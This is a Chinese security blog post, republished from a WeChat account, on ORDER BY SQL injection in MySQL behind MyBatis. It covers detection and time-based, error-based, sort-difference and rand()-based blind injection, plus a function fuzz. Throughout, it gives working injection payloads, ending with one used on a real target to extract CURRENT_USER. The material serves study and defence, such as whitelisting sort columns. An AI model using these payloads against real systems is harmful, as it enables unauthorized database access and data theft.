神奇的order by注入

admin 2024年12月3日12:25:55评论4 views字数 3143阅读10分28秒阅读模式

一、    判断order by注入

神奇的order by注入

当你看到一个查询结果有排序小箭头时,要额外注意,这可能一个SORT(排序)键值,抓包后可能是这样的。

神奇的order by注入

那么后端SQL语句就差不多类似

select * from table where id =1 order by zzf desc;

这种地方在java-mybatis环境中容易引发注入问题,原因很简单,在mybatis中order by ${sort}传的是列名不能用#{},因此需要额外用白名单处理。有的开发没处理就有注入了。
同理,table_name/column_name这种地方也容易产生SQL注入。
还有一种是like,like是可以用#{}的,但部分开发不会写like的#{}就用的${}。不过like注入比比order by注入少很多。

如何判断这里有order by注入呢?很简单,原理跟最基础的联合注入利用order by爆破字段数量是一样的。
order by (1)  不报错
order by (10000000) 报错

这样就基本能判断出来这里有order by注入了。
当然也可以直接order by sleep(1)。

二、    order by注入利用

一个SQL注入的标准是至少注出user()出来,当然现代WAF/框架之狠,直接给你干没select,也很难注出什么有效数据(不绝对,部分情况除外)。 
order by怎么注user()呢?正常有三种方法利用。

1,时间盲注
能用sleep(1)就能构造最简单的基于时间延迟的布尔盲注

select * from user  order by if(1=1,sleep(1),1);

神奇的order by注入

但它有个很大的缺点,就是有几条数据就重复几次sleep(1)。
那么另外一个常用的benchmark(50000000,sha(1))能用吗?答案是不行,原因后面就知道了。

神奇的order by注入

2,报错注入
经典的updatexml()

select * from user  order by updatexml(1,concat(0x7e,(select user()),0x7e),1);

神奇的order by注入

报错注入有个最特殊的地方,它是唯一查询内容会空,依旧可以order by注入的方式。

神奇的order by注入

缺点就是生产环境往往关闭了报错信息。

3,用列名构造基于排序差异的布尔盲注

select * from user  order by if(1=1,id,email);

神奇的order by注入

但前提是知道列名,以及列名确实能够产生排序不同。
如果不知道列名,用数字代替是不行的。

4,用rand构造基于排序差异布尔的盲注
rand是根据种子返回一个0-1的随机小数,rand(1=1)和rand(1=2)在大量数据时大概率会导致排序不同 ,因此可以构造基于排序不同的布尔条件。

select * from user  order by rand(1=1);

神奇的order by注入

显然基于排序差异的布尔盲注,如果碰到没有排序差异的查询结果,比如就一条数据,就没办法了。

三、    基于报错的布尔盲注

在有些注入中,表里没有数据,或者查询出来的数据不展示在web,又或者是增删改的SQL注入。这个时候可能只能时间盲注,但通常可以将这个时间盲注升级成基于报错的布尔盲注。
就是构造出一个条件,为true时执行错误的语句导致服务端抛错,为false时执行正确的语句,即使服务端不返回任何东西或者返回随机的东西,只要不抛错,即可构造布尔条件。
直观点就是这样的SQL语句。

select * from user where id =1 and if(1=1,exp(9999999),1);

神奇的order by注入

用case when代替if

select * from user where id =1 and (case when 1=1 then exp(9999999) else 1 end);

exp(9999999)这个报错行为,代替如下。
cot(1-(1=1))
pow(1+(1=1),99999)
还有另外一种在其他数据库也能构造出来的报错行为,那就是联合查询使子查询有两条数据。

select * from user where id =1 and (case when 1=1 then (select 1 union select 2) else 1 end);

神奇的order by注入

基于报错的布尔盲注弥补了基于排序差异的布尔盲注的不足,那么order by能用它吗?
答案是能用一部分,也就是联合查询那部分。

select * from user where 1=1  order by (case when 1=1 then (select 1 union select 2) else 1 end);

神奇的order by注入

为什么if+exp不能用呢?

神奇的order by注入

答案是order by正常情况下根本不会去执行方法,甚至连基础的运算都不支持。
如下图,order by (2-1)的排序结果是跟没有order by或者order by null的结果是一样的。

神奇的order by注入

什么情况下会执行运算呢?前面已经说了很多种情况了,比如sleep,比如联合查询。
但这里面还要分情况,那就是运算的先后顺序,比如常用的substr(),它结合exp(9999999)也会导致报错,但却是恒定报错。

select * from user where 1=1  order by if(1=1,substr(1,exp(9999999)),1);

神奇的order by注入

也就是说,先运算exp(),再运算substr(),最后运算if(1=1)。
而如果是sleep(exp(9999999)),运算顺序就变化了。

select * from user where 1=1  order by if(1=1, sleep(exp(9999999)),1);

神奇的order by注入

先运算if(1=1),再运算exp(),最后运算sleep(),这也是为什么sleep能够进行时间盲注而benchmark不行的的真正原因。
而且即使不执行这个sleep(),仅仅只需要将其放在一个不会触发的地方,也能够改变运算顺序,从而构造出基于报错的布尔盲注。

select * from user where 1=1  order by if(1=1, exp(9999999),if(1=1,1,sleep(0)));

神奇的order by注入

甚至在if外面也可以

神奇的order by注入

四、    fuzz

但可惜的是,目标环境禁用了sleep()和select,由于测试了很多冷门函数都不能用,反而经常被禁的substr都可以用,所以合理怀疑它是个框架内的白名单。于是我从mysql官网中将所有的非8.0函数几乎都搬了过来,构造出一个插入order by中不会报错的字典。
https://dev.mysql.com/doc/refman/8.0/en/built-in-function-reference.html
 
然后开始fuzz,最终只发现三个函数可以改变order by的运算顺序,使基于报错的布尔盲注在order by语句中实现。
sleep(exp(99999999))
get_lock('test',exp(99999999))
rand(exp(99999999))

神奇的order by注入

也就是order by一共存在三种情况。
1,if/length/hex/char/exp等单独使用完全不会执行的函数,结果恒定为null
2,substr/updatexml/min/left等会优先执行的函数,配合exp(99999999),恒定报错,此时可以使用报错注入。
3,sleep/rand/get_lock/联合查询会改变执行顺序的函数,先执行if(1=1),再根据结果是否执行exp(99999999)
只有第三种情况才能做到order by基于报错的布尔盲注。

最终结合目标的实际情况,使用rand(exp(99999999))盲注出CURRENT_USER交差。
具体payload如下

(case when substr(CURRENT_USER,1,1)='r' then rand(exp(99999999)) else 1 end)

原文始发于微信公众号(哈拉少安全小队):神奇的order by注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月3日12:25:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   神奇的order by注入https://cn-sec.com/archives/3462860.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息